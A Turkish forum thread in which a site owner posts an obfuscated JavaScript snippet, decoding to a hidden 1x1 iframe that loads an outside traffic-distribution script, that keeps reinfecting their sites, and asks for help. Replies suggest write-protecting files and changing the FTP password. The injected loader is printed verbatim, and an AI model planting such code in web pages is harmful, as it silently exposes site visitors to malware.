Bu Nedir ?

Arkadaşlar son 1-2 haftadır şu kod ile cebelleşiyorum..

<script>document.write(unescape('%3C')+unescape('%69')+unescape('%66%72')+unescape('%61%6D%65')+unescape('%20%73')+unescape('%72')+unescape('%63%3D%27')+unescape('%68%74%74')+unescape('%70%3A')+unescape('%2F%2F')+unescape('%6F%66')+unescape('%66%73%68%6F')+unescape('%72%65')+unescape('%2D%68')+unescape('%73%62%63%2D')+unescape('%75')+unescape('%6E%69%74%65')+unescape('%64%6B')+unescape('%69%6E%67%64')+unescape('%6F%6D')+unescape('%2E%63%6F%6D')+unescape('%2F%74%64')+unescape('%73%2F%69%6E')+unescape('%2E%63%67')+unescape('%69')+unescape('%3F%32%27')+unescape('%20%77%69%64')+unescape('%74%68%3D%31')+unescape('%20')+unescape('%68%65')+unescape('%69%67')+unescape('%68%74%3D%31')+unescape('%20%73')+unescape('%74')+unescape('%79')+unescape('%6C')+unescape('%65%3D')+unescape('%27%76%69%73')+unescape('%69%62%69')+unescape('%6C%69')+unescape('%74%79%3A')+unescape('%68%69')+unescape('%64')+unescape('%64%65')+unescape('%6E%27')+unescape('%3E')+unescape('%3C%2F')+unescape('%69%66')+unescape('%72%61%6D%65%3E')+'');</script>

Bu kod sunucumdaki sitelere bulaşıp duruyor..Siliyorum..3-5 gün sonra bi bakıyorum başka bir dosyaya bulaşmış..hotwar . com diye bir adresten bulaşıyor sanırım..Kullandığım pc de antivirüs var..Hostçumla da görüşüp wirüs taraması yaptırdım ama bu illetten kurtulamadım..İlginçtir ki bu kodun bulaştığı site ffde sorunsuz açılıyor ama ie kilitleniyor..Geçen sene buna benzer bi kod bulaşmıştı sitelerimden silince bi daha görmemiştim..Ama bu kodu silince 2-3 gün ses seda yok sonra birden tekrar geri başa dönüyorum ama bu sefer diyelim index.php ye değil farklı bir dosyaya bulaşıyor..wp veya özel script farketmiyor her yere bulaşıyor..Tesadüf eseri dolaşırken vBulletin bi kaç foruma da bulaştığını gördüm..Bilgili arkadaşlar bu kodu açıklayabilir mi..Ayrıca çözüm olarak ne yapabilirim..

frame virüslerinden yanılmıyorsam. çözüm olarak dosya izinlerini yazılamaz yaparsın. Ama uğraştırır baya.

ftp şifreni değiştirmek de çözüme gitmeni sağlayabilir.

ftp şifremle ilgisinin olacağını sanmıyorum..çünkü şifrem bilinirse zaten sitedeki dosyaları siler adam niye bu kodu atmakla uğraşın ki..

başkalarının pc lerine zarar vermek için tabiki. bunu yapan zaten yabancı ülkelerdeki siteler.